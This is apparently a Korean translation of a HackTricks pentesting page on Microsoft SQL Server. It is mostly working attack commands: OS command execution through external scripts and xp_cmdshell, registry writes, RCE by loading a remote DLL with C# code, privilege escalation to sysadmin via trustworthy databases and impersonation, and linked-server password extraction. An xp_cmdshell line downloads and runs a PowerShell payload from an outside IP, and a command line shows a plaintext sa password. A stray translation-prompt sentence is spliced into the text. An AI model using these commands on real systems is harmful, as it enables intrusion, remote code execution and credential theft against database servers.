MSSQL๋Š” Python ๋ฐ/๋˜๋Š” R์˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ฝ”๋“œ๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์— ์˜ํ•ด ์‹คํ–‰๋˜๋ฉฐ, ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด xp_cmdshell์„ ์‚ฌ์šฉํ•˜๋Š” ์‚ฌ์šฉ์ž์™€ ๋‹ค๋ฆ…๋‹ˆ๋‹ค.

์˜ˆ์ œ: โ€˜Rโ€™ โ€œHellow World!โ€ ์ž‘๋™ํ•˜์ง€ ์•Š์Œ:

๊ตฌ์„ฑ๋œ python์„ ์‚ฌ์šฉํ•˜์—ฌ ์—ฌ๋Ÿฌ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ์˜ˆ:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์ฝ๊ธฐ

Microsoft SQL Server๋Š” ๋„คํŠธ์›Œํฌ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ํŒŒ์ผ ์‹œ์Šคํ…œ ๋ฐ ์‹ฌ์ง€์–ด Windows ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ**:**์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ์—ฌ๋Ÿฌ ํ™•์žฅ ์ €์žฅ ํ”„๋กœ์‹œ์ €๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค:

์ผ๋ฐ˜์ธ์Šคํ„ด์Šค ์ธ์‹
sys.xp_regreadsys.xp_instance_regread
sys.xp_regenumvaluessys.xp_instance_regenumvalues
sys.xp_regenumkeyssys.xp_instance_regenumkeys
sys.xp_regwritesys.xp_instance_regwrite
sys.xp_regdeletevaluesys.xp_instance_regdeletevalue
sys.xp_regdeletekeysys.xp_instance_regdeletekey
sys.xp_regaddmultistringsys.xp_instance_regaddmultistring
sys.xp_regremovemultistringsys.xp_instance_regremovemultistring
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

๋” ๋งŽ์€ ์˜ˆ์ œ๋Š” ์›๋ณธ ์ถœ์ฒ˜๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

MSSQL User Defined Function - SQLHttp๋ฅผ ์ด์šฉํ•œ RCE

.NET dll์„ MSSQL ๋‚ด์—์„œ custom functions๋กœ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Š” dbo ๊ถŒํ•œ์„ ํ•„์š”๋กœ ํ•˜๋ฏ€๋กœ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— sa ๋˜๋Š” Administrator ์—ญํ• ๋กœ ์—ฐ๊ฒฐ๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ด ๋งํฌ์—์„œ ์˜ˆ์ œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

autoadmin_task_agents๋ฅผ ์ด์šฉํ•œ RCE

์ด ํฌ์ŠคํŠธ์— ๋”ฐ๋ฅด๋ฉด, ์›๊ฒฉ .dll์„ ๋กœ๋“œํ•˜์—ฌ MSSQL์ด ์ด๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค๋ฉด:

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

๋ฒˆ์—ญํ•  README.md ๋‚ด์šฉ(๋˜๋Š” ํŒŒ์ผ ์ „์ฒด)์„ ๋ถ™์—ฌ๋„ฃ์–ด ์ฃผ์„ธ์š”. ๊ทœ์น™์— ๋”ฐ๋ผ ์ฝ”๋“œยทํƒœ๊ทธยท๊ฒฝ๋กœยท๋งํฌ๋Š” ๊ทธ๋Œ€๋กœ ์œ ์ง€ํ•˜๊ณ  ์˜์–ด ํ…์ŠคํŠธ๋งŒ ํ•œ๊ตญ์–ด๋กœ ๋ฒˆ์—ญํ•ฉ๋‹ˆ๋‹ค.

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}

RCE๋ฅผ ์œ„ํ•œ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•

๋ช…๋ น ์‹คํ–‰์„ ์–ป๊ธฐ ์œ„ํ•œ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, ๊ทธ๋ฆฌ๊ณ  external scripts ๋“ฑ์„ ์ถ”๊ฐ€ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค.

MSSQL Privilege Escalation

From db_owner to sysadmin

๋งŒ์•ฝ ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž๊ฐ€ ๊ด€๋ฆฌ์ž ์‚ฌ์šฉ์ž(์˜ˆ: sa)๊ฐ€ ์†Œ์œ ํ•œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋Œ€ํ•ด db_owner ์—ญํ• ์„ ๋ถ€์—ฌ๋ฐ›๊ณ  ๊ทธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ **trustworthy**๋กœ ์„ค์ •๋˜์–ด ์žˆ๋‹ค๋ฉด, ํ•ด๋‹น ์‚ฌ์šฉ์ž๋Š” ์ด ๊ถŒํ•œ์„ ์•…์šฉํ•ด privescํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ ์ด์œ ๋Š” ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ƒ์„ฑ๋œ stored procedures๊ฐ€ ์˜ค๋„ˆ(์ฆ‰ admin)๋กœ์„œ execute๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

๋‹ค์Œ๊ณผ ๊ฐ™์ด metasploit ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

๋˜๋Š” PS ์Šคํฌ๋ฆฝํŠธ:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋กœ ๊ฐ€์žฅํ•˜๊ธฐ

SQL Server์—๋Š” **IMPERSONATE**๋ผ๋Š” ํŠน์ˆ˜ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์‹คํ–‰ ์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž ๋˜๋Š” login์˜ ๊ถŒํ•œ์„ ์ทจ๋“ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•˜๋ฉฐ, ๊ทธ ์ƒํƒœ๋Š” ์ปจํ…์ŠคํŠธ๊ฐ€ ์žฌ์„ค์ •๋˜๊ฑฐ๋‚˜ ์„ธ์…˜์ด ์ข…๋ฃŒ๋  ๋•Œ๊นŒ์ง€ ์ง€์†๋ฉ๋‹ˆ๋‹ค.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]

Tip

์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๊ทธ๊ฐ€ sysadmin์ด ์•„๋‹ˆ๋”๋ผ๋„, ๊ทธ ์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ databases ๋˜๋Š” linked servers์— ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ๋กœ, sysadmin์ด ๋˜๋ฉด ๋‹ค๋ฅธ ์–ด๋–ค ์‚ฌ์šฉ์ž๋„ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

์ด ๊ณต๊ฒฉ์€ metasploit ๋ชจ๋“ˆ๋กœ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

๋˜๋Š” PS ์Šคํฌ๋ฆฝํŠธ๋กœ:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Using MSSQL for Persistence

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Extracting passwords from SQL Server Linked Servers

๊ณต๊ฒฉ์ž๋Š” SQL ์ธ์Šคํ„ด์Šค์—์„œ SQL Server Linked Servers์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ถ”์ถœํ•˜์—ฌ ํ‰๋ฌธ์œผ๋กœ ์–ป์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ๋Œ€์ƒ์— ๋Œ€ํ•œ ๋” ํฐ ๋ฐœํŒ์„ ํ™•๋ณดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Linked Servers์— ์ €์žฅ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ถ”์ถœํ•˜๊ณ  ๋ณตํ˜ธํ™”ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋Š” here์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์ต์Šคํ”Œ๋กœ์ž‡์ด ์ž‘๋™ํ•˜๋ ค๋ฉด ๋ช‡ ๊ฐ€์ง€ ์š”๊ตฌ์‚ฌํ•ญ ๋ฐ ๊ตฌ์„ฑ์„ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์šฐ์„ , ๋จธ์‹ ์—์„œ Administrator ๊ถŒํ•œ์ด ์žˆ๊ฑฐ๋‚˜ SQL Server ๊ตฌ์„ฑ์„ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๊ถŒํ•œ์„ ํ™•์ธํ•œ ํ›„์—๋Š” ๋‹ค์Œ ์„ธ ๊ฐ€์ง€๋ฅผ ๊ตฌ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

  1. SQL Server ์ธ์Šคํ„ด์Šค์—์„œ TCP/IP ํ™œ์„ฑํ™”;
  2. Start Up ๋งค๊ฐœ๋ณ€์ˆ˜ ์ถ”๊ฐ€ โ€” ์ด ๊ฒฝ์šฐ ํŠธ๋ ˆ์ด์Šค ํ”Œ๋ž˜๊ทธ์ธ -T7806์ด ์ถ”๊ฐ€๋ฉ๋‹ˆ๋‹ค.
  3. ์›๊ฒฉ admin connection ํ™œ์„ฑํ™”.

์ด ๊ตฌ์„ฑ๋“ค์„ ์ž๋™ํ™”ํ•˜๊ธฐ ์œ„ํ•ด this repository ์—๋Š” ํ•„์š”ํ•œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๊ตฌ์„ฑ์˜ ๊ฐ ๋‹จ๊ณ„์— ๋Œ€ํ•œ powershell ์Šคํฌ๋ฆฝํŠธ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ๊ตฌ์„ฑ ์Šคํฌ๋ฆฝํŠธ์™€ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ถ”์ถœ ๋ฐ ๋ณตํ˜ธํ™”๋ฅผ ๊ฒฐํ•ฉํ•œ ์ „์ฒด ์Šคํฌ๋ฆฝํŠธ๋„ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ณต๊ฒฉ์— ๊ด€ํ•ด ๋” ์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ ๋งํฌ๋“ค์„ ์ฐธ๊ณ ํ•˜์„ธ์š”: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Local Privilege Escalation

MSSQL server๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์‚ฌ์šฉ์ž๋Š” ๊ถŒํ•œ ํ† ํฐ SeImpersonatePrivilege.\ ๋ฅผ ๊ฐ–๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ๋‘ ํŽ˜์ด์ง€ ์ค‘ ํ•˜๋‚˜๋ฅผ ๋”ฐ๋ผ๊ฐ€๋ฉด Administrator๋กœ ๊ถŒํ•œ ์ƒ์Šน์ด ๊ฐ€๋Šฅํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

Shodan

  • port:1433 !HTTP

์ฐธ์กฐ

HackTricks Automatic Commands

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applicationsโ€”which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ